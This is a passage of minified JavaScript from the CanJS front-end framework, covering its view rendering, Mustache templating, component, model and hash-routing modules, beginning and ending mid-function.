(function("+this.text.argNames+"){"+A.out+"});\r\n//# sourceURL="+e+".js"),A}},can.view.pending=function(t){var e=can.view.getHooks();return can.view.hook(function(n){can.each(e,function(t){t(n)}),t.templateType="legacy",t.tagName&&viewCallbacks.tagHandler(n,t.tagName,t),can.each(t&&t.attrs||[],function(e){t.attributeName=e;var s=viewCallbacks.attr(e);s&&s(n,t)})})},can.view.tag("content",function(t,e){return e.scope}),can.view.Scanner=Scanner,Scanner}); /*can/view/render*/ define("can/view/render",["can/view/view","can/view/elements","can/view/live/live","can/util/string/string"],function(n,t,e){var i,r=[],u=function(n){var e=t.tagMap[n]||"span";return"span"===e?"@@!!@@":"<"+e+">"+u(e)+"</"+e+">"},o=function(t,e){if("string"==typeof t)return t;if(!t&&0!==t)return"";var i=t.hookup&&function(n,e){t.hookup.call(t,n,e)}||"function"==typeof t&&t;return i?e?"<"+e+" "+n.view.hook(i)+"></"+e+">":(r.push(i),""):""+t},c=function(t,e){return"string"==typeof t||"number"==typeof t?n.esc(t):o(t,e)},s=!1,a=function(){};return n.extend(n.view,{live:e,setupLists:function(){var t,e=n.view.lists;return n.view.lists=function(n,e){return t={list:n,renderer:e},Math.random()},function(){return n.view.lists=e,t}},getHooks:function(){var n=r.slice(0);return i=n,r=[],n},onlytxt:function(n,t){return c(t.call(n))},txt:function(f,l,p,v,h){var g,w,d,b,y=t.tagMap[l]||"span",k=!1,m=a;if(s)g=h.call(v);else{("string"==typeof p||1===p)&&(s=!0);var x=n.view.setupLists();m=function(){d.unbind("change",a)},d=n.compute(h,v,!1),d.bind("change",a),w=x(),g=d(),s=!1,k=d.computeInstance.hasDependencies}if(w)return m(),"<"+y+n.view.hook(function(n,t){e.list(n,w.list,w.renderer,v,t)})+"></"+y+">";if(!k||"function"==typeof g)return m(),(s||2===f||!f?o:c)(g,0===p&&y);var M=t.tagToContentPropMap[l];if(0!==p||M)return 1===p?(r.push(function(n){e.attributes(n,d,d()),m()}),d()):2===f?(b=p,r.push(function(n){e.specialAttribute(n,b,d),m()}),d()):(b=0===p?M:p,(0===p?i:r).push(function(n){e.attribute(n,b,d),m()}),e.attributePlaceholder);var C=!!t.selfClosingTags[y];return"<"+y+n.view.hook(f&&"object"!=typeof g?function(n,t){e.text(n,d,t),m()}:function(n,t){e.html(n,d,t),m()})+(C?"/>":">"+u(y)+"</"+y+">")}}),n}); /*can/view/mustache/mustache*/ define("can/view/mustache/mustache",["can/util/util","can/view/scope/scope","can/view/view","can/view/scanner","can/compute/compute","can/view/render","can/view/bindings/bindings"],function(e){e.view.ext=".mustache";var n="scope",t="___h4sh",r="{scope:"+n+",options:options}",i="{scope:"+n+",options:options, special: true}",s=n+",options",o=/((([^'"\s]+?=)?('.*?'|".*?"))|.*?)\s/g,c=/^(('.*?'|".*?"|[0-9]+\.?[0-9]*|true|false|null|undefined)|((.+?)=(('.*?'|".*?"|[0-9]+\.?[0-9]*|true|false)|(.+))))$/,a=function(e){return'{get:"'+e.replace(/"/g,'\\"')+'"}'},u=function(e){return e&&"string"==typeof e.get},f=function(n){return n instanceof e.Map||n&&!!n._get},p=function(e){return e&&e.splice&&"number"==typeof e.length},l=function(n,t,r){var i=function(e,r){return n(e||t,r)};return function(n,s){return void 0===n||n instanceof e.view.Scope||(n=t.add(n)),void 0===s||s instanceof e.view.Options||(s=r.add(s)),i(n,s||r)}},h=function(n,t){if(this.constructor!==h){var r=new h(n);return function(e,n){return r.render(e,n)}}return"function"==typeof n?void(this.template={fn:n}):(e.extend(this,n),void(this.template=this.scanner.scan(this.text,this.name)))};e.Mustache=e.global.Mustache=h,h.prototype.render=function(n,t){return n instanceof e.view.Scope||(n=new e.view.Scope(n||{})),t instanceof e.view.Options||(t=new e.view.Options(t||{})),t=t||{},this.template.fn.call(n,n,t)},e.extend(h.prototype,{scanner:new e.view.Scanner({text:{start:"",scope:n,options:",options: options",argNames:s},tokens:[["returnLeft","{{{","{{[{&]"],["commentFull","{{!}}","^[\\s\\t]*{{!.+?}}\\n"],["commentLeft","{{!","(\\n[\\s\\t]*{{!|{{!)"],["escapeFull","{{}}","(^[\\s\\t]*{{[#/^][^}]+?}}\\n|\\n[\\s\\t]*{{[#/^][^}]+?}}\\n|\\n[\\s\\t]*{{[#/^][^}]+?}}$)",function(e){return{before:/^\n.+?\n$/.test(e)?"\n":"",content:e.match(/\{\{(.+?)\}\}/)[1]||""}}],["escapeLeft","{{"],["returnRight","}}}"],["right","}}"]],helpers:[{name:/^>[\s]*\w*/,fn:function(n,t){var r=e.trim(n.replace(/^>\s?/,"")).replace(/["|']/g,"");return"can.Mustache.renderPartial('"+r+"',"+s+")"}},{name:/^\s*data\s/,fn:function(e,t){var r=e.match(/["|'](.*)["|']/)[1];return"can.proxy(function(__){can.data(can.$(__),'"+r+"', this.attr('.')); }, "+n+")"}},{name:/\s*\(([\$\w]+)\)\s*->([^\n]*)/,fn:function(e){var t=/\s*\(([\$\w]+)\)\s*->([^\n]*)/,r=e.match(t);return"can.proxy(function(__){var "+r[1]+"=can.$(__);with("+n+".attr('.')){"+r[2]+"}}, this);"}},{name:/^.*$/,fn:function(n,u){var f=!1,p={content:"",startTxt:!1,startOnlyTxt:!1,end:!1};if(n=e.trim(n),n.length&&(f=n.match(/^([#^\/]|else$)/))){switch(f=f[0]){case"#":case"^":u.specialAttribute?p.startOnlyTxt=!0:(p.startTxt=!0,p.escaped=0);break;case"/":return p.end=!0,p.content+='return ___v1ew.join("");}}])',p}n=n.substring(1)}if("else"!==f){var l,h=[],v=[],g=0;p.content+="can.Mustache.txt(\n"+(u.specialAttribute?i:r)+",\n"+(f?'"'+f+'"':"null")+",",(e.trim(n)+" ").replace(o,function(e,n){g&&(l=n.match(c))?l[2]?h.push(l[0]):v.push(l[4]+":"+(l[6]?l[6]:a(l[5]))):h.push(a(n)),g++}),p.content+=h.join(","),v.length&&(p.content+=",{"+t+":{"+v.join(",")+"}}")}switch(f&&"else"!==f&&(p.content+=",[\n\n"),f){case"^":case"#":p.content+="{fn:function("+s+"){var ___v1ew = [];";break;case"else":p.content+='return ___v1ew.join("");}},\n{inverse:function('+s+"){\nvar ___v1ew = [];";break;default:p.content+=")"}return f||(p.startTxt=!0,p.end=!0),p}}]})});for(var v=e.view.Scanner.prototype.helpers,g=0;g<v.length;g++)h.prototype.scanner.helpers.unshift(v[g]);return h.txt=function(n,r,i){for(var s,o,c=n.scope,a=n.options,v=[],g={fn:function(){},inverse:function(){}},d=c.attr("."),m=!0,w=3;w<arguments.length;w++){var x=arguments[w];if(r&&e.isArray(x))g=e.extend.apply(e,[g].concat(x));else if(x&&x[t]){s=x[t];for(var _ in s)u(s[_])&&(s[_]=h.get(s[_].get,n,!1,!0))}else x&&u(x)?v.push(h.get(x.get,n,!1,!0,!0)):v.push(x)}if(u(i)){var y=i.get;i=h.get(i.get,n,v.length,!1),m=y===i}if(g.fn=l(g.fn,c,a),g.inverse=l(g.inverse,c,a),"^"===r){var b=g.fn;g.fn=g.inverse,g.inverse=b}return(o=m&&"string"==typeof i&&h.getHelper(i,a)||e.isFunction(i)&&!i.isComputed&&{fn:i})?(e.extend(g,{context:d,scope:c,contexts:c,hash:s}),v.push(g),function(){var e=o.fn.apply(d,v);return null==e?"":e}):function(){var n;n=e.isFunction(i)&&i.isComputed?i():i;var t,s,o,c=v.length?v:[n],a=!0,u=[];if(r)for(t=0;t<c.length;t++)o=c[t],s="undefined"!=typeof o&&f(o),p(o)?"#"===r?a=a&&!!(s?o.attr("length"):o.length):"^"===r&&(a=a&&!(s?o.attr("length"):o.length)):a="#"===r?a&&!!o:"^"===r?a&&!o:a;if(a){if("#"===r){if(p(n)){var l=f(n);for(t=0;t<n.length;t++)u.push(g.fn(l?n.attr(""+t):n[t]));return u.join("")}return g.fn(n||{})||""}return"^"===r?g.inverse(n||{})||"":""+(null!=n?n:"")}return""}},h.get=function(n,t,r,i,s){var o=t.scope.attr("."),c=t.options||{};if(r){if(h.getHelper(n,c))return n;if(t.scope&&e.isFunction(o[n]))return o[n]}var a=t.scope.computeData(n,{isArgument:i,args:[o,t.scope]}),u=a.compute;e.compute.temporarilyBind(u);var f=a.initialValue;h.getHelper(n,c);return s||void 0!==f&&a.scope===t.scope||!h.getHelper(n,c)?u.computeInstance.hasDependencies?u:f:n},h.resolve=function(n){return f(n)&&p(n)&&n.attr("length")?n:e.isFunction(n)?n():n},h._helpers={},h.registerHelper=function(e,n){this._helpers[e]={name:e,fn:n}},h.registerSimpleHelper=function(n,t){h.registerHelper(n,e.view.simpleHelper(t))},h.getHelper=function(e,n){var t;return n&&(t=n.get("helpers."+e,{proxyMethods:!1})),t?{fn:t}:this._helpers[e]},h.render=function(n,t,r){return e.view.cached[n]||e.__notObserve(function(){var e=t.attr(n);e&&(n=e)})(),e.view.render(n,t,r)},h.safeString=function(e){return{toString:function(){return e}}},h.renderPartial=function(n,t,r){var i=r.get("partials."+n,{proxyMethods:!1});return i?i.render?i.render(t,r):i(t,r):e.Mustache.render(n,t,r)},e.each({"if":function(n,t){var r;return r=e.isFunction(n)?e.compute.truthy(n)():!!h.resolve(n),r?t.fn(t.contexts||this):t.inverse(t.contexts||this)},is:function(){var n,t,r=arguments[arguments.length-1];if(arguments.length-2<=0)return r.inverse();for(var i=0;i<arguments.length-1;i++){if(t=h.resolve(arguments[i]),t=e.isFunction(t)?t():t,i>0&&t!==n)return r.inverse();n=t}return r.fn()},eq:function(){return h._helpers.is.fn.apply(this,arguments)},unless:function(n,t){return h._helpers["if"].fn.apply(this,[n,e.extend({},t,{fn:t.inverse,inverse:t.fn})])},each:function(n,t){var r,i,s,o=h.resolve(n),c=[];if(e.view.lists&&(o instanceof e.List||n&&n.isComputed&&void 0===o))return e.view.lists(n,function(e,n){return t.fn(t.scope.add({"@index":n}).add(e))});if(n=o,n&&p(n)){for(s=0;s<n.length;s++)c.push(t.fn(t.scope.add({"@index":s}).add(n[s])));return c.join("")}if(f(n)){for(r=e.Map.keys(n),s=0;s<r.length;s++)i=r[s],c.push(t.fn(t.scope.add({"@key":i}).add(n[i])));return c.join("")}if(n instanceof Object){for(i in n)c.push(t.fn(t.scope.add({"@key":i}).add(n[i])));return c.join("")}},"with":function(e,n){var t=e;return e=h.resolve(e),e?n.fn(t):void 0},log:function(e,n){"undefined"!=typeof console&&console.log&&(n?console.log(e,n.context):console.log(e.context))},"@index":function(n,t){t||(t=n,n=0);var r=t.scope.read("@index",{isArgument:!0}).value;return""+((e.isFunction(r)?r():r)+n)}},function(e,n){h.registerHelper(n,e)}),e.view.register({suffix:"mustache",contentType:"x-mustache-template",script:function(e,n){return"can.Mustache(function("+s+") { "+new h({text:n,name:e}).template.out+" })"},renderer:function(e,n){return h({text:n,name:e})}}),e.mustache.registerHelper=e.proxy(e.Mustache.registerHelper,e.Mustache),e.mustache.safeString=e.Mustache.safeString,e}); /*can/util/view_model/view_model*/ define("can/util/view_model/view_model",["can/util/util"],function(e){var n=e.$;n.fn&&(n.fn.scope=n.fn.viewModel=function(){return e.viewModel.apply(e,[this].concat(e.makeArray(arguments)))})}); /*can/component/component*/ define("can/component/component",["can/util/util","can/view/callbacks/callbacks","can/view/elements","can/view/bindings/bindings","can/control/control","can/observe/observe","can/view/mustache/mustache","can/util/view_model/view_model"],function(e,t,o,n){var i=/\{([^\}]+)\}/g,s=e.Component=e.Construct.extend({setup:function(){if(e.Construct.setup.apply(this,arguments),e.Component){var t=this,o=this.prototype.scope||this.prototype.viewModel;if(this.Control=r.extend(this.prototype.events),o&&("object"!=typeof o||o instanceof e.Map)?o.prototype instanceof e.Map&&(this.Map=o):this.Map=e.Map.extend(o||{}),this.attributeScopeMappings={},e.each(this.Map?this.Map.defaults:{},function(e,o){"@"===e&&(t.attributeScopeMappings[o]=o)}),this.prototype.template)if("function"==typeof this.prototype.template){var n=this.prototype.template;this.renderer=function(){return e.view.frag(n.apply(null,arguments))}}else this.renderer=e.view.mustache(this.prototype.template);e.view.tag(this.prototype.tag,function(e,o){new t(e,o)})}}},{setup:function(t,i){var s,r,p={},a=this,c=("undefined"==typeof this.leakScope?!1:!this.leakScope)&&!!this.template,l=[],u=function(){for(var e=0,t=l.length;t>e;e++)l[e]()},d=e.$(t),h=!e.data(d,"preventDataBindings");e.each(this.constructor.attributeScopeMappings,function(o,n){p[n]=t.getAttribute(e.hyphenate(o))}),h&&l.push(n.behaviors.viewModel(t,i,function(o){o["%root"]=i.scope.attr("%root");var n=a.scope||a.viewModel;if(a.constructor.Map)s=new a.constructor.Map(o);else if(n instanceof e.Map)s=n;else if(e.isFunction(n)){var r=n.call(a,o,i.scope,t);s=r instanceof e.Map?r:r.prototype instanceof e.Map?new r(o):new(e.Map.extend(r))(o)}var p=s.serialize;return s.serialize=function(){var e=p.apply(this,arguments);return delete e["%root"],e},s},p)),this.scope=this.viewModel=s,e.data(d,"scope",this.viewModel),e.data(d,"viewModel",this.viewModel),e.data(d,"preventDataBindings",!0);var v;v=c?e.view.Scope.refsScope().add(this.viewModel,{viewModel:!0}):(this.constructor.renderer?i.scope.add(new e.view.Scope.Refs):i.scope).add(this.viewModel,{viewModel:!0});var f={helpers:{}},m=function(e,t){f.helpers[e]=function(){return t.apply(s,arguments)}};e.each(this.helpers||{},function(t,o){e.isFunction(t)&&m(o,t)}),e.each(this.simpleHelpers||{},function(t,o){m(o,e.view.simpleHelper(t))}),this._control=new this.constructor.Control(t,{scope:this.viewModel,viewModel:this.viewModel,destroy:u});var w=e.view.nodeLists.register([],void 0,i.parentNodeList||!0,!1);w.expression="<"+this.tag+">",l.push(function(){e.view.nodeLists.unregister(w)}),this.constructor.renderer?(f.tags||(f.tags={}),f.tags.content=function g(t,n){var s=i.subtemplate||n.subtemplate,r=s===i.subtemplate;if(s){delete f.tags.content;var p;if(p=r?c?i:{scope:n.scope.cloneFromRef(),options:n.options}:n,n.parentNodeList){var a=s(p.scope,p.options,n.parentNodeList);o.replace([t],a)}else e.view.live.replace([t],s(p.scope,p.options));f.tags.content=g}},r=this.constructor.renderer(v,i.options.add(f),w)):r="legacy"===i.templateType?e.view.frag(i.subtemplate?i.subtemplate(v,i.options.add(f)):""):i.subtemplate?i.subtemplate(v,i.options.add(f),w):document.createDocumentFragment(),e.appendChild(t,r,e.document),e.view.nodeLists.update(w,e.childNodes(t))}}),r=e.Control.extend({_lookup:function(e){return[e.scope,e,window]},_action:function(t,o,n){var s,r;if(i.lastIndex=0,s=i.test(t),n||!s){if(s){r=e.compute(function(){var n,s=t.replace(i,function(t,i){var s;return"scope"===i||"viewModel"===i?(n=o.viewModel,""):(i=i.replace(/^(scope|^viewModel)\./,""),s=e.compute.read(o.viewModel,e.compute.read.reads(i),{readCompute:!1}).value,void 0===s&&(s=e.getObject(i)),"string"==typeof s?s:(n=s,""))}),r=s.split(/\s+/g),p=r.pop();return{processor:this.processors[p]||this.processors.click,parts:[s,r.join(" "),p],delegate:n||void 0}},this);var p=function(e,o){n._bindings.control[t](n.element),n._bindings.control[t]=o.processor(o.delegate||n.element,o.parts[2],o.parts[1],t,n)};return r.bind("change",p),n._bindings.readyComputes[t]={compute:r,handler:p},r()}return e.Control._action.apply(this,arguments)}}},{setup:function(t,o){return this.scope=o.scope,this.viewModel=o.viewModel,e.Control.prototype.setup.call(this,t,o)},off:function(){this._bindings&&e.each(this._bindings.readyComputes||{},function(e){e.compute.unbind("change",e.handler)}),e.Control.prototype.off.apply(this,arguments),this._bindings.readyComputes={}},destroy:function(){e.Control.prototype.destroy.apply(this,arguments),"function"==typeof this.options.destroy&&this.options.destroy.apply(this,arguments)}}),p=e.$;return p.fn&&(p.fn.scope=p.fn.viewModel=function(){return e.viewModel.apply(e,[this].concat(e.makeArray(arguments)))}),s}); /*can/model/model*/ define("can/model/model",["can/util/util","can/map/map","can/list/list"],function(t){var e=function(e,r,i){var n=new t.Deferred;return e.then(function(){var e=t.makeArray(arguments),s=!0;try{e[0]=i.apply(r,e)}catch(o){s=!1,n.rejectWith(n,[o].concat(e))}s&&n.resolveWith(n,e)},function(){n.rejectWith(this,arguments)}),"function"==typeof e.abort&&(n.abort=function(){return e.abort()}),n},r=0,i=function(e){return t.__observe(e,e.constructor.id),e.___get(e.constructor.id)},n=function(e,r,i,n,s,o){var a={};if("string"==typeof e){var u=e.split(/\s+/);a.url=u.pop(),u.length&&(a.type=u.pop())}else t.extend(a,e);return a.data="object"!=typeof r||t.isArray(r)?r:t.extend(a.data||{},r),a.url=t.sub(a.url,a.data,!0),t.ajax(t.extend({type:i||"post",dataType:n||"json",success:s,error:o},a))},s=function(r,n,s,o,a){var u;t.isArray(r)?(u=r[1],r=r[0]):u=r.serialize(),u=[u];var c,l,d=r.constructor;return("update"===n||"destroy"===n)&&u.unshift(i(r)),l=d[n].apply(d,u),c=e(l,r,function(t){return r[a||n+"d"](t,l),r}),l.abort&&(c.abort=function(){l.abort()}),c.then(s,o),c},o={models:function(e,r,i){if(t.Model._reqs++,e){if(e instanceof this.List)return e;var n=this,s=[],o=n.List||f,a=r instanceof t.List?r:new o,u=e instanceof f,c=u?e.serialize():e;if(c=n.parseModels(c,i),c.data&&(e=c,c=c.data),"undefined"==typeof c||!t.isArray(c))throw new Error("Could not get any raw data while converting using .models");return a.length&&a.splice(0),t.each(c,function(t){s.push(n.model(t,i))}),a.push.apply(a,s),t.isArray(e)||t.each(e,function(t,e){"data"!==e&&a.attr(e,t)}),setTimeout(t.proxy(this._clean,this),1),a}},model:function(e,r,i){if(e){e="function"==typeof e.serialize?e.serialize():this.parseModel(e,i);var n=e[this.id];(n||0===n)&&this.store[n]&&(r=this.store[n]);var s=r&&t.isFunction(r.attr)?r.attr(e,this.removeAttr||!1):new this(e);return s}}},a={parseModel:function(e){return function(r){return e?t.getObject(e,r):r}},parseModels:function(e){return function(r){if(t.isArray(r))return r;e=e||"data";var i=t.getObject(e,r);if(!t.isArray(i))throw new Error("Could not get any raw data while converting using .models");return i}}},u={create:{url:"_shortName",type:"post"},update:{data:function(e,r){r=r||{};var i=this.id;return r[i]&&r[i]!==e&&(r["new"+t.capitalize(e)]=r[i],delete r[i]),r[i]=e,r},type:"put"},destroy:{type:"delete",data:function(t,e){return e=e||{},e.id=e[this.id]=t,e}},findAll:{url:"_shortName"},findOne:{}},c=function(t,e){return function(r){return r=t.data?t.data.apply(this,arguments):r,n(e||this[t.url||"_url"],r,t.type||"get")}},l=function(t,e){if(t.resource){var r=t.resource.replace(/\/+$/,"");return"findAll"===e||"create"===e?r:r+"/{"+t.id+"}"}};t.Model=t.Map.extend({fullName:"can.Model",_reqs:0,setup:function(e,i,n,s){if("string"!=typeof i&&(s=n,n=i),s||(s=n),this.store={},t.Map.setup.apply(this,arguments),t.Model){n&&n.List?(this.List=n.List,this.List.Map=this):this.List=e.List.extend({Map:this},{});var d=this,p=t.proxy(this._clean,d);t.each(u,function(r,i){if(n&&n[i]&&("string"==typeof n[i]||"object"==typeof n[i])?d[i]=c(r,n[i]):n&&n.resource&&!t.isFunction(n[i])&&(d[i]=c(r,l(d,i))),d["make"+t.capitalize(i)]){var s=d["make"+t.capitalize(i)](d[i]);t.Construct._overwrite(d,e,i,function(){t.Model._reqs++;var e=s.apply(this,arguments),r=e.then(p,p);return r.abort=e.abort,r})}});var h={};t.each(o,function(r,i){var s="parse"+t.capitalize(i),o=n&&n[i]||d[i];"string"==typeof o?(d[s]=o,t.Construct._overwrite(d,e,i,r)):n&&n[i]&&(h[s]=!0)}),t.each(a,function(r,i){var s=n&&n[i]||d[i];if("string"==typeof s)t.Construct._overwrite(d,e,i,r(s));else if(!(n&&t.isFunction(n[i])||d[i])){var o=r();o.useModelConverter=h[i],t.Construct._overwrite(d,e,i,o)}}),"can.Model"!==d.fullName&&d.fullName||(d.fullName="Model"+ ++r),t.Model._reqs=0,this._url=this._shortName+"/{"+this.id+"}"}},_ajax:c,_makeRequest:s,_clean:function(){if(t.Model._reqs--,!t.Model._reqs)for(var e in this.store)this.store[e]._bindings||delete this.store[e];return arguments[0]},models:o.models,model:o.model},{setup:function(e){var r=e&&e[this.constructor.id];t.Model._reqs&&null!=r&&(this.constructor.store[r]=this),t.Map.prototype.setup.apply(this,arguments)},isNew:function(){var t=i(this);return!(t||0===t)},save:function(t,e){return s(this,this.isNew()?"create":"update",t,e)},destroy:function(e,r){if(this.isNew()){var i=this,n=t.Deferred();return n.then(e,r),n.done(function(t){i.destroyed(t)}).resolve(i)}return s(this,"destroy",e,r,"destroyed")},_bindsetup:function(){var e=this.___get(this.constructor.id);return null!=e&&(this.constructor.store[e]=this),t.Map.prototype._bindsetup.apply(this,arguments)},_bindteardown:function(){return delete this.constructor.store[i(this)],t.Map.prototype._bindteardown.apply(this,arguments)},___set:function(e,r){t.Map.prototype.___set.call(this,e,r),e===this.constructor.id&&this._bindings&&(this.constructor.store[i(this)]=this)}});var d=function(t){return function(e,r,i){return this[t](e,null,i)}},p=function(t){return this.parseModel.useModelConverter?this.model(t):this.parseModel(t)},h={makeFindAll:d("models"),makeFindOne:d("model"),makeCreate:p,makeUpdate:p,makeDestroy:p};t.each(h,function(r,i){t.Model[i]=function(i){return function(){var n=t.makeArray(arguments),s=t.isFunction(n[1])?n.splice(0,1):n.splice(0,2),o=e(i.apply(this,s),this,r);return o.then(n[0],n[1]),o}}}),t.each(["created","updated","destroyed"],function(e){t.Model.prototype[e]=function(r){var i=this,n=i.constructor;r&&"object"==typeof r&&this.attr(t.isFunction(r.attr)?r.attr():r),t.dispatch.call(this,{type:e,target:this},[]),t.dispatch.call(n,e,[this])}});var f=t.Model.List=t.List.extend({_bubbleRule:function(e,r){var i=t.List._bubbleRule(e,r);return i.push("destroyed"),i}},{setup:function(e){t.isPlainObject(e)&&!t.isArray(e)?(t.List.prototype.setup.apply(this),this.replace(t.isPromise(e)?e:this.constructor.Map.findAll(e))):t.List.prototype.setup.apply(this,arguments),this.bind("destroyed",t.proxy(this._destroyed,this))},_destroyed:function(t,e){if(/\w+/.test(e))for(var r;(r=this.indexOf(t.target))>-1;)this.splice(r,1)}});return t.Model}); /*can/util/string/deparam/deparam*/ define("can/util/string/deparam/deparam",["can/util/util","can/util/string/string"],function(t){var n=/^\d+$/,e=/([^\[\]]+)|(\[\])/g,r=/([^?#]*)(#.*)?$/,i=function(t){return decodeURIComponent(t.replace(/\+/g," "))};return t.extend(t,{deparam:function(a){var u,c,o={};return a&&r.test(a)&&(u=a.split("&"),t.each(u,function(t){var r=t.split("="),a=i(r.shift()),u=i(r.join("=")),p=o;if(a){r=a.match(e);for(var s=0,d=r.length-1;d>s;s++)p[r[s]]||(p[r[s]]=n.test(r[s+1])||"[]"===r[s+1]?[]:{}),p=p[r[s]];c=r.pop(),"[]"===c?p.push(u):p[c]=u}})),o}}),t}); /*can/route/route*/ define("can/route/route",["can/util/util","can/map/map","can/list/list","can/util/string/deparam/deparam"],function(t){var e,r,n,a,u=/\:([\w\.]+)/g,o=/^(?:&[^=]+=[^&]*)+/,i=function(e){var r=[];return t.each(e,function(e,n){r.push(("className"===n?"class":n)+'="'+("href"===n?e:t.esc(e))+'"')}),r.join(" ")},c=function(t,e){var r=0,n=0,a={};for(var u in t.defaults)t.defaults[u]===e[u]&&(a[u]=1,r++);for(;n<t.names.length;n++){if(!e.hasOwnProperty(t.names[n]))return-1;a[t.names[n]]||r++}return r},l=window.location,s=function(t){return(t+"").replace(/([.?*+\^$\[\]\\(){}|\-])/g,"\\$1")},d=t.each,f=t.extend,h=function(e){return e&&"object"==typeof e?(e=e instanceof t.Map?e:t.isFunction(e.slice)?e.slice():t.extend({},e),t.each(e,function(t,r){e[r]=h(t)})):void 0!==e&&null!==e&&t.isFunction(e.toString)&&(e=e.toString()),e},p=function(t){return t.replace(/\\/g,"")},g=[],m=function(r,u,o,i){a=1,g.push(u),clearTimeout(e),e=setTimeout(function(){a=0;var e=t.route.data.serialize(),r=t.route.param(e,!0);t.route._call("setURL",r,g),t.batch.trigger(_,"__url",[r,n]),n=r,g=[]},10)},_=t.extend({},t.event),b=function(t){var e=t.attr;return t.attr=function(t,r){var n,a=void 0===this.define||void 0===this.define[t]||!!this.define[t].serialize;return n=a?h(Array.apply(null,arguments)):arguments,e.apply(this,n)},t};t.route=function(e,r){var n=t.route._call("root");n.lastIndexOf("/")===n.length-1&&0===e.indexOf("/")&&(e=e.substr(1)),r=r||{};for(var a,o,i=[],c="",l=u.lastIndex=0,d=t.route._call("querySeparator"),f=t.route._call("matchSlashes");a=u.exec(e);)i.push(a[1]),c+=p(e.substring(l,u.lastIndex-a[0].length)),o="\\"+(p(e.substr(u.lastIndex,1))||d+(f?"":"|/")),c+="([^"+o+"]"+(r[a[1]]?"*":"+")+")",l=u.lastIndex;return c+=e.substr(l).replace("\\",""),t.route.routes[e]={test:new RegExp("^"+c+"($|"+s(d)+")"),route:e,names:i,defaults:r,length:e.split("/").length},t.route},f(t.route,{param:function(e,r){var n,a,o=0,i=e.route,l=0;if(delete e.route,d(e,function(){l++}),d(t.route.routes,function(t,r){return a=c(t,e),a>o&&(n=t,o=a),a>=l?!1:void 0}),t.route.routes[i]&&c(t.route.routes[i],e)===o&&(n=t.route.routes[i]),n){var s,h=f({},e),p=n.route.replace(u,function(t,r){return delete h[r],e[r]===n.defaults[r]?"":encodeURIComponent(e[r])}).replace("\\","");return d(n.defaults,function(t,e){h[e]===t&&delete h[e]}),s=t.param(h),r&&t.route.attr("route",n.route),p+(s?t.route._call("querySeparator")+s:"")}return t.isEmptyObject(e)?"":t.route._call("querySeparator")+t.param(e)},deparam:function(e){var r=t.route._call("root");r.lastIndexOf("/")===r.length-1&&0===e.indexOf("/")&&(e=e.substr(1));var n={length:-1},a=t.route._call("querySeparator"),u=t.route._call("paramsMatcher");if(d(t.route.routes,function(t,r){t.test.test(e)&&t.length>n.length&&(n=t)}),n.length>-1){var o=e.match(n.test),i=o.shift(),c=e.substr(i.length-(o[o.length-1]===a?1:0)),l=c&&u.test(c)?t.deparam(c.slice(1)):{};return l=f(!0,{},n.defaults,l),d(o,function(t,e){t&&t!==a&&(l[n.names[e]]=decodeURIComponent(t))}),l.route=n.route,l}return e.charAt(0)!==a&&(e=a+e),u.test(e)?t.deparam(e.slice(1)):{}},data:b(new t.Map({})),map:function(e){var r;r=e.prototype instanceof t.Map?new e:e,t.route.data=b(r)},routes:{},ready:function(e){return e!==!0&&(t.route._setup(),(t.isBrowserWindow||t.isWebWorker)&&t.route.setState()),t.route},url:function(e,r){return r&&(t.__observe(_,"__url"),e=t.extend({},t.route.deparam(t.route._call("matchingPartOfURL")),e)),t.route._call("root")+t.route.param(e)},link:function(e,r,n,a){return"<a "+i(f({href:t.route.url(r,a)},n))+">"+e+"</a>"},current:function(e){return t.__observe(_,"__url"),this._call("matchingPartOfURL")===t.route.param(e)},bindings:{hashchange:{paramsMatcher:o,querySeparator:"&",matchSlashes:!1,bind:function(){t.bind.call(window,"hashchange",v)},unbind:function(){t.unbind.call(window,"hashchange",v)},matchingPartOfURL:function(){var e=t.route.location||l;return e.href.split(/#!?/)[1]||""},setURL:function(t){return l.hash!=="#"+t&&(l.hash="!"+t),t},root:"#!"}},defaultBinding:"hashchange",currentBinding:null,_setup:function(){t.route.currentBinding||(t.route._call("bind"),t.route.bind("change",m),t.route.currentBinding=t.route.defaultBinding)},_teardown:function(){t.route.currentBinding&&(t.route._call("unbind"),t.route.unbind("change",m),t.route.currentBinding=null),clearTimeout(e),a=0},_call:function(){var e=t.makeArray(arguments),r=e.shift(),n=t.route.bindings[t.route.currentBinding||t.route.defaultBinding],a=n[r];return a.apply?a.apply(n,e):a}}),d(["bind","unbind","on","off","delegate","undelegate","removeAttr","compute","_get","___get","each"],function(e){t.route[e]=function(){return t.route.data[e]?t.route.data[e].apply(t.route.data,arguments):void 0}}),t.route.attr=function(){return t.route.data.attr.apply(t.route.data,arguments)},t.route.batch=t.batch;var v=t.route.setState=function(){var e=t.route._call("matchingPartOfURL"),u=r;r=t.route.deparam(e),a&&e===n||(t.route.batch.start(),y(u,r,t.route.data),t.route.attr(r),t.route.batch.trigger(_,"__url",[e,n]),t.route.batch.stop())},y=function(t,e,r){for(var n in t)void 0===e[n]?r.removeAttr(n):"[object Object]"===Object.prototype.toString.call(t[n])&&y(t[n],e[n],r.attr(n))};return t.route}); /*can/control/route/route*/ define("can/control/route/route",["can/util/util","can/route/route","can/control/control"],function(t){return t.Control.processors.route=function(o,r,u,n,e){u=u||"",t.route.routes[u]||("/"===u[0]&&(u=u.substring(1)),t.route(u));var c,i=function(o,r,i){if(t.route.attr("route")===u&&(void 0===o.batchNum||o.batchNum!==c)){c=o.batchNum;var a=t.route.attr();delete a.route,t.isFunction(e[n])?e[n](a):e[e[n]](a)}};return t.route.bind("change",i),function(){t.route.unbind("change",i)}},t}); /*can/view/target/target*/ define("can/view/target/target",["can/util/util","can/view/elements"],function(e,t,n){function a(e,n,a,c){var r,l,d,m,p,f=a,h=typeof e,b=function(){return r||(r={path:a,callbacks:[]},n.push(r),f=[]),r},g=function(t,n){var a=e.attrs[n];"function"==typeof a?b().callbacks.push({callback:a}):s(t,n,a)};if("object"===h){if(e.tag){if(l=i&&e.namespace?c.createElementNS(e.namespace,e.tag):c.createElement(e.tag),e.attrs){"input"===e.tag&&e.attrs.type&&(g(l,"type"),delete e.attrs.type);for(var v in e.attrs)g(l,v)}if(e.attributes)for(m=0,p=e.attributes.length;p>m;m++)b().callbacks.push({callback:e.attributes[m]});e.children&&e.children.length&&(d=r?r.paths=[]:n,l.appendChild(o(e.children,d,f,c)))}else 